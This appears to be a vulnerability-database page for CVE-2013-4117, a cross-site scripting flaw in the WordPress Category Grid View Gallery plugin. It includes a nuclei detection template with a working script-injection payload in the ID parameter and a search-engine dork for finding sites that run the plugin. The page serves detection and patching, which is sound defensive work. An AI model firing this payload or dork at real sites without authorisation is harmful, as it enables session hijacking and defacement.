HexBrain

Browse / CVEs / CVE-2013-4117

CVE-2013-4117· anshul sharma / category-grid-view-gallery· CWE-79

WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting

mediumseverity
4.3CVSS score
13%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Plugin Category Grid View Gallery or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/category-grid-view-gallery/readme.txt
Positive when: contains "Category Grid View Gallery ="
Send: GET {{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscr…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2013-4117 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2013-4117

info:
  name: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Plugin Category Grid View Gallery or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4117
    - http://openwall.com/lists/oss-security/2013/07/11/11
    - http://seclists.org/bugtraq/2013/Jul/17
    - http://exploit.iedb.ir/exploits-177.html
    - http://packetstormsecurity.com/files/122259/WordPress-Category-Grid-View-Gallery-XSS.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-4117
    cwe-id: CWE-79
    epss-score: 0.12974
    epss-percentile: 0.96358
    cpe: cpe:2.3:a:anshul_sharma:category-grid-view-gallery:2.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "anshul_sharma"
    product: "category-grid-view-gallery"
    google-query: "inurl:\"/wp-content/plugins/category-grid-view-gallery\""
  tags: cve2013,cve,seclists,packetstorm,wordpress,xss,wp-plugin,anshul_sharma,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Category Grid View Gallery ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from